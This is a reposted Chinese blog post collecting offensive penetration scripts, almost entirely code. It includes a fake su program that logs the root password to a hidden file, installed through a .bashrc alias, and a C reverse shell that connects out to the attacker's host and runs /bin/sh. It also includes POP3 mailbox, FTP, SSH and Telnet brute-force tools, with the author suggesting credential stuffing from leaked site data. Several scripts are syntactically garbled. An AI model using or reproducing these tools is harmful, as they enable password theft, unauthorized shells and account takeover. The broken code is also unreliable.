[91ri]渗透用的Python小脚本

0x00

渗透的很多时候，找到的工具并不适用，自己码代码才是王道，下面三个程序都是渗透时在网络上找不到合适工具，自己辛苦开发的，短小使用，求欣赏，求好评。

0x01

记录root密码小工具

root.py

 1 #!/usr/bin/python
 2 import os, sys, getpass, time
 3
 4 current_time = time.strftime("%Y-%m-%d %H:%M")
 5 logfile="/dev/shm/.su.log"              //密码获取后记录在这里
 6 #CentOS
 7 #fail_str = "su: incorrect password"
 8 #Ubuntu
 9 #fail_str = "su: Authentication failure"
10 #For Linux Korea                    //centos,ubuntu,korea 切换root用户失败提示不一样
11 fail_str = "su: incorrect password"
12 try:
13     passwd = getpass.getpass(prompt='Password: ');
14     file=open(logfile,'a')
15     file.write("[%s]t%s"%(passwd, current_time))   //截取root密码
16     file.write('n')
17     file.close()
18 except:
19     pass
20 time.sleep(1)
21 print fail_str                               //打印切换root失败提示

渗透linux拿到低权限并提权无果时，将这个程序传上去，再将一个低权限用户目录下的.bashrc添加一句alias su=’/usr/root.py'; 低权限用户su root 后成功记录密码。密码记录路径请看脚本

0x02

设置源端口反弹shell

渗透某个linux服务器，反连时目标端口为888不行，53，80还是不行，

Ping了下百度可以ping通，

那真相只有一个

服务器变态的限制了只能某些提供已某些端口为源端口去连接外面

比如

只允许接收对80端口的访问数据包，并以80为源端口向外回复数据。

谷歌程序无果，自己查了相关api后写了个。

client-port.c

 1 #include &lt;stdio.h&gt;
 2 #include &lt;sys/types.h&gt;
 3 #include &lt;sys/socket.h&gt;
 4 #include &lt;netinet/in.h&gt;
 5 #include &lt;netdb.h&gt;
 6 void error(char *msg)
 7 {
 8         perror(msg);
 9         exit(0);
10 }
11 int main(int argc, char *argv[])
12 {
13         int sockfd, portno, lportno,n;
14         struct sockaddr_in serv_addr;
15         struct sockaddr_in client_addr;
16         struct hostent *server;
17         char buffer[256];
18         if (argc &lt; 3) {
19                 fprintf(stderr,"usage %s hostname port LocalPortn", argv[0]);
20                 exit(0);
21         }                          //三个参数，目标主机，目标主机端口，本地源端口
22         portno = atoi(argv[2]);
23         sockfd = socket(AF_INET, SOCK_STREAM, 0);
24         if (sockfd &lt; 0)
25                 error("ERROR opening socket");
26
27
28         bzero((char *) &amp;client_addr, sizeof(client_addr));
29         lportno = atoi(argv[3]);
30         client_addr.sin_family = AF_INET;
31         client_addr.sin_addr.s_addr = INADDR_ANY;
32         client_addr.sin_port = htons(lportno);         //设置源端口
33         if (bind(sockfd, (struct sockaddr *) &amp;client_addr,
34                                 sizeof(client_addr)) &lt; 0)
35                 error("ERROR on binding");
36
37         server = gethostbyname(argv[1]);
38         if (server == NULL) {
39                 fprintf(stderr,"ERROR, no such host ");
40                 exit(0);
41         }
42         bzero((char *) &amp;serv_addr, sizeof(serv_addr));
43         serv_addr.sin_family = AF_INET;
44         bcopy((char *)server-&gt;h_addr,
45                         (char *)&amp;serv_addr.sin_addr.s_addr,
46                         server-&gt;h_length);
47         serv_addr.sin_port = htons(portno);
48         if (connect(sockfd,&amp;serv_addr,sizeof(serv_addr)) &lt; 0)   //连接
49                 error("ERROR connecting");
50  dup2(fd, 0);
51  dup2(fd, 1);
52  dup2(fd, 2);
53  execl("/bin/sh","sh -i", NULL);                        //执行shell
54  close(fd);
55 }

用法：

1 gcc client-port.c -o port

1 chmod +x port

1 ./port  你的IP 你的监听端口 本地的源端口

如 ./port http://www.91ri.org 80 80

成功反弹shell 提权成功

0x03 邮箱爆破脚本

某个时候需要爆破一批邮箱

Burp163.pl

 1 #!/usr/bin/perl
 2 use Net::POP3;
 3 $email="pop.163.com";          //设置pop服务器地址 qq为pop.qq.com
 4 $pop = Net::POP3-&gt;new($email)or die("ERROR: Unable to initiate. ");
 5 print $pop-&gt;banner();
 6 $pop-&gt;quit;
 7 $i=0;
 8 open(fp1,"user.txt");
 9 @array1=&lt;fp1&gt;;
10 open(fp2,"pass.txt");
11 @array2=&lt;fp2&gt;;                     //从文件中获取邮箱用户名及密码
12 foreach $a(@array1) {
13 $u=substr($a,0,length($a)-1);
14 $u=$u."@163.com";
15 foreach $b(@array2) {
16 $p=substr($b,0,length($b)-1);
17 print "cracked with ".$u."-----".$p."n";
18 $i=$i+1;
19 $pop = Net::POP3-&gt;new($email)or die("ERROR: Unable to initiate. ");
20 $m=$pop-&gt;login($u,$p);              //尝试登录邮箱
21 if($m&gt;0)
22 {
23   print $u."------------".$p."----"."success"."n";
24   $pop-&gt;quit;
25 }                                //成功登录
26 else
27 {
28   print $u."------------".$p."----"."failed"."n";
29   $pop-&gt;quit;                                     //登录失败
30 }
31 }
32 }
33 print $i;

用法将要爆破的邮箱的pop服务器写入下面这一行默认是163邮箱

1 $email="pop.163.com";

再将去除掉@后面部分的邮箱地址比如lusiyu@163.com 去除后lusiyu存进去

同目录user.txt中吗，再将字典存进去pass.txt

你会说

这个有点鸡肋吧万一邮箱的密码很复杂

呵呵

搞到了一个小站的数据，

用这个程序批量测试密码是否就是邮箱密码呵呵

我啥都没说。

0x04

这三个程序仅供技术研究，如读者用于违法行为，本人概不负责。

在渗透测试当中，免不了要进行密码破解。http://www.91ri.org/8696.html

0x01

FTP暴力破解脚本

  1 #!/usr/bin/env python
  2 #-*-coding = utf-8-*-
  3 #author:@xfk
  4 #blog:@blog.sina.com.cn/kaiyongdeng
  5 #date:@2012-05-08
  6
  7 import sys, os, time
  8 from ftplib import FTP
  9 docs = """
 10            [*] This was written for educational purpose and pentest only. Use it at your own risk.
 11            [*] Author will be not responsible for any damage!
 12            [*] Toolname : ftp_bf.py
 13            [*] Coder :
 14            [*] Version : 0.1
 15            [*] eample of use : python ftp_bf.py -t ftp.server.com -u usernames.txt -p passwords.txt
 16        """
 17
 18 if sys.platform == 'linux' or sys.platform == 'linux2':
 19     clearing = 'clear'
 20 else:
 21     clearing = 'cls'
 22 os.system(clearing)
 23 R = "\033[31m";
 24 G = "\033[32m";
 25 Y = "\033[33m"
 26 END = "\033[0m"
 27 def logo():
 28     print G+"\n |---------------------------------------------------------------|"
 29     print " | |"
 30     print " | blog.sina.com.cn/kaiyongdeng |"
 31     print " | 08/05/2012 ftp_bf.py v.0.1 |"
 32     print " | FTP Brute Forcing Tool |"
 33     print " | |"
 34     print " |---------------------------------------------------------------|\n"
 35     print " \n [-] %s\n" % time.strftime("%X")
 36     print docs+END
 37
 38 def help():
 39     print R+"[*]-t, --target ip/hostname &lt;&gt; Our target"
 40     print "[*]-u, --usernamelist usernamelist &lt;&gt; usernamelist path"
 41     print "[*]-p, --passwordlist passwordlist &lt;&gt; passwordlist path"
 42     print "[*]-h, --help help &lt;&gt; print this help"
 43     print "[*]Example : python ftp_bf -t ftp.server.com -u username.txt -p passwords.txt"+END sys.exit(1)
 44
 45 def bf_login(hostname,username,password):
 46     # sys.stdout.write("\r[!]Checking : %s " % (p))
 47     # sys.stdout.flush()
 48     try:
 49         ftp = FTP(hostname)
 50         ftp.login(hostname,username, password)
 51         ftp.retrlines('list')
 52         ftp.quit()
 53         print Y+"\n[!] w00t,w00t!!! We did it ! "
 54         print "[+] Target : ",hostname, ""
 55         print "[+] User : ",username, ""
 56         print "[+] Password : ",password, ""+END
 57         return 1
 58     # sys.exit(1)
 59     except Exception, e:
 60         pass except KeyboardInterrupt: print R+"\n[-] Exiting ...\n"+END
 61     sys.exit(1)
 62
 63 def anon_login(hostname):
 64     try:
 65         print G+"\n[!] Checking for anonymous login.\n"+END
 66         ftp = FTP(hostname) ftp.login()
 67         ftp.retrlines('LIST')
 68         print Y+"\n[!] w00t,w00t!!! Anonymous login successfuly !\n"+END
 69         ftp.quit()
 70     except Exception, e:
 71         print R+"\n[-] Anonymous login failed...\n"+END
 72         pass
 73
 74 def main():
 75     logo()
 76     try:
 77         for arg in sys.argv:
 78             if arg.lower() == '-t' or arg.lower() == '--target':
 79                 hostname = sys.argv[int(sys.argv[1:].index(arg))+2]
 80             elif arg.lower() == '-u' or arg.lower() == '--usernamelist':
 81                 usernamelist = sys.argv[int(sys.argv[1:].index(arg))+2]
 82             elif arg.lower() == '-p' or arg.lower() == '--passwordlist':
 83                 passwordlist = sys.argv[int(sys.argv[1:].index(arg))+2]
 84             elif arg.lower() == '-h' or arg.lower() == '--help':
 85                 help()
 86             elif len(sys.argv) &lt;= 1:
 87                 help()
 88     except:
 89         print R+"[-]Cheak your parametars input\n"+END
 90         help()
 91
 92     print G+"[!] BruteForcing target ..."+END
 93     anon_login(hostname)
 94     # print "here is ok"
 95     # print hostname
 96     try:
 97         usernames = open(usernamelist, "r")
 98         user = usernames.readlines()
 99         count1 = 0
100         while count1 &lt; len(user):
101             user[count1] = user[count1].strip()
102             count1 +=1
103     except:
104         print R+"\n[-] Cheak your usernamelist path\n"+END
105         sys.exit(1)
106
107     # print "here is ok ",usernamelist,passwordlist
108     try:
109         passwords = open(passwordlist, "r")
110         pwd = passwords.readlines()
111         count2 = 0
112         while count2 &lt; len(pwd):
113             pwd[count2] = pwd[count2].strip()
114             count2 +=1
115     except:
116         print R+"\n[-] Check your passwordlist path\n"+END
117         sys.exit(1)
118
119     print G+"\n[+] Loaded:",len(user),"usernames"
120     print "\n[+] Loaded:",len(pwd),"passwords"
121     print "[+] Target:",hostname
122     print "[+] Guessing...\n"+END
123     for u in user: for p in pwd:
124         result = bf_login(hostname,u.replace("\n",""),p.replace("\n",""))
125         if result != 1:
126             print G+"[+]Attempt uaername:%s password:%s..." % (u,p) + R+"Disenable"+END
127         else:
128             print G+"[+]Attempt uaername:%s password:%s..." % (u,p) + Y+"Enable"+END
129         if not result :
130             print R+"\n[-]There is no username ans password enabled in the list."
131             print "[-]Exiting...\n"+END
132
133 if __name__ == "__main__":
134     main()

0x02

SSH暴力破解

  1 #!/usr/bin/env python
  2 #-*-coding = UTF-8-*-
  3 #author@:dengyongkai
  4 #blog@:blog.sina.com.cn/kaiyongdeng
  5
  6
  7 import sys
  8 import os
  9 import time
 10 #from threading import Thread
 11
 12 try:
 13     from paramiko import SSHClient
 14     from paramiko import AutoAddPolicy
 15 except ImportError:
 16     print G+'''
 17     You need paramiko module.
 18     http://www.lag.net/paramiko/
 19     Debian/Ubuntu: sudo apt-get install aptitude
 20          : sudo aptitude install python-paramiko\n'''+END
 21     sys.exit(1)
 22
 23 docs =  """
 24             [*] This was written for educational purpose and pentest only. Use it at your own risk.
 25             [*] Author will be not responsible for any damage!
 26             [*] Toolname        : ssh_bf.py
 27             [*] Author          : xfk
 28             [*] Version         : v.0.2
 29             [*] Example of use  : python ssh_bf.py [-T target] [-P port] [-U userslist] [-W wordlist] [-H help]
 30     """
 31
 32
 33 if sys.platform == 'linux' or sys.platform == 'linux2':
 34          clearing = 'clear'
 35 else:
 36          clearing = 'cls'
 37 os.system(clearing)
 38
 39
 40 R = "\033[31m";
 41 G = "\033[32m";
 42 Y = "\033[33m"
 43 END = "\033[0m"
 44
 45
 46 def logo():
 47          print G+"\n                  |---------------------------------------------------------------|"
 48          print "                 |                                                               |"
 49          print "                 |               blog.sina.com.cn/kaiyongdeng                    |"
 50          print "                 |                16/05/2012 ssh_bf.py v.0.2                     |"
 51          print "                 |                  SSH Brute Forcing Tool                       |"
 52          print "                 |                                                               |"
 53          print "                 |---------------------------------------------------------------|\n"
 54          print " \n                      [-] %s\n" % time.ctime()
 55          print docs+END
 56
 57
 58 def help():
 59     print Y+"        [*]-H         --hostname/ip         &lt;&gt;the target hostname or ip address"
 60     print "        [*]-P         --port             &lt;&gt;the ssh service port(default is 22)"
 61     print "        [*]-U         --usernamelist         &lt;&gt;usernames list file"
 62     print "        [*]-P         --passwordlist         &lt;&gt;passwords list file"
 63     print "        [*]-H         --help             &lt;&gt;show help information"
 64     print "        [*]Usage:python %s [-T target] [-P port] [-U userslist] [-W wordlist] [-H help]"+END
 65     sys.exit(1)
 66
 67 def BruteForce(hostname,port,username,password):
 68         '''
 69         Create SSH connection to target
 70         '''
 71         ssh = SSHClient()
 72         ssh.set_missing_host_key_policy(AutoAddPolicy())
 73         try:
 74             ssh.connect(hostname, port, username, password, pkey=None, timeout = None, allow_agent=False, look_for_keys=False)
 75             status = 'ok'
 76             ssh.close()
 77         except Exception, e:
 78             status = 'error'
 79             pass
 80     return status
 81
 82
 83 def makelist(file):
 84     '''
 85     Make usernames and passwords lists
 86     '''
 87     items = []
 88
 89     try:
 90         fd = open(file, 'r')
 91     except IOError:
 92         print R+'unable to read file \'%s\'' % file+END
 93         pass
 94
 95     except Exception, e:
 96         print R+'unknown error'+END
 97         pass
 98
 99     for line in fd.readlines():
100         item = line.replace('\n', '').replace('\r', '')
101         items.append(item)
102     fd.close()
103     return items
104
105 def main():
106         logo()
107 #    print "hello wold"
108         try:
109                 for arg in sys.argv:
110                         if arg.lower() == '-t' or arg.lower() == '--target':
111                                 hostname = str(sys.argv[int(sys.argv[1:].index(arg))+2])
112                     if arg.lower() == '-p' or arg.lower() == '--port':
113                         port = sys.argv[int(sys.argv[1:].index(arg))+2]
114                         elif arg.lower() == '-u' or arg.lower() == '--userlist':
115                                 userlist = sys.argv[int(sys.argv[1:].index(arg))+2]
116                         elif arg.lower() == '-w' or arg.lower() == '--wordlist':
117                                 wordlist = sys.argv[int(sys.argv[1:].index(arg))+2]
118                         elif arg.lower() == '-h' or arg.lower() == '--help':
119                                 help()
120             elif len(sys.argv) &lt;= 1:
121                                 help()
122         except:
123                 print R+"[-]Cheak your parametars input\n"+END
124                 help()
125         print G+"\n[!] BruteForcing target ...\n"+END
126 #        print "here is ok"
127 #        print hostname,port,wordlist,userlist
128         usernamelist = makelist(userlist)
129         passwordlist = makelist(wordlist)
130
131         print Y+"[*] SSH Brute Force Praparing."
132         print "[*] %s user(s) loaded." % str(len(usernamelist))
133         print "[*] %s password(s) loaded." % str(len(passwordlist))
134         print "[*] Brute Force Is Starting......."+END
135     try:
136             for username in usernamelist:
137                 for password in passwordlist:
138                 print G+"\n[+]Attempt uaername:%s password:%s..." % (username,password)+END
139                         current = BruteForce(hostname, port, username, password)
140                             if current == 'error':
141                     print R+"[-]O*O The username:%s and password:%s Is Disenbabled...\n" % (username,password)+END
142 #                                pass
143                             else:
144                                     print G+"\n[+] ^-^ HaHa,We Got It!!!"
145                                     print "[+] username: %s" % username
146                                     print "[+] password: %s\n" % password+END
147 #                                   sys.exit(0)
148     except:
149         print R+"\n[-] There Is Something Wrong,Pleace Cheak It."
150         print "[-] Exitting.....\n"+END
151         raise
152         print Y+"[+] Done.^-^\n"+END
153         sys.exit(0)
154
155
156 if __name__ == "__main__":
157     main()

0x03

TELNET密码暴力破解

 1 #!usr/bin/python
 2 #Telnet Brute Forcer
 3 #http://www.darkc0de.com
 4 #d3hydr8[at]gmail[dot]com
 5
 6 import threading, time, random, sys, telnetlib
 7 from copy import copy
 8
 9 if len(sys.argv) !=4:
10     print "Usage: ./telnetbrute.py &lt;server&gt; &lt;userlist&gt; &lt;wordlist&gt;"
11     sys.exit(1)
12
13 try:
14       users = open(sys.argv[2], "r").readlines()
15 except(IOError):
16       print "Error: Check your userlist path\n"
17       sys.exit(1)
18
19 try:
20       words = open(sys.argv[3], "r").readlines()
21 except(IOError):
22       print "Error: Check your wordlist path\n"
23       sys.exit(1)
24
25 print "\n\t   d3hydr8[at]gmail[dot]com TelnetBruteForcer v1.0"
26 print "\t--------------------------------------------------\n"
27 print "[+] Server:",sys.argv[1]
28 print "[+] Users Loaded:",len(users)
29 print "[+] Words Loaded:",len(words),"\n"
30
31 wordlist = copy(words)
32
33 def reloader():
34     for word in wordlist:
35         words.append(word)
36
37 def getword():
38     lock = threading.Lock()
39     lock.acquire()
40     if len(words) != 0:
41         value = random.sample(words,  1)
42         words.remove(value[0])
43
44     else:
45         print "\nReloading Wordlist - Changing User\n"
46         reloader()
47         value = random.sample(words,  1)
48         users.remove(users[0])
49
50     lock.release()
51     if len(users) ==1:
52         return value[0][:-1], users[0]
53     else:
54         return value[0][:-1], users[0][:-1]
55
56 class Worker(threading.Thread):
57
58     def run(self):
59         value, user = getword()
60         try:
61             print "-"*12
62             print "User:",user,"Password:",value
63             tn = telnetlib.Telnet(sys.argv[1])
64             tn.read_until("login: ")
65             tn.write(user + "\n")
66             if password:
67                     tn.read_until("Password: ")
68                     tn.write(value + "\n")
69             tn.write("ls\n")
70             tn.write("exit\n")
71             print tn.read_all()
72             print "\t\nLogin successful:",value, user
73             tn.close()
74             work.join()
75             sys.exit(2)
76         except:
77             pass
78
79 for I in range(len(words)*len(users)):
80     work = Worker()
81     work.start()
82     time.sleep(1)

转载于:https://www.cnblogs.com/btlulu/articles/4001174.html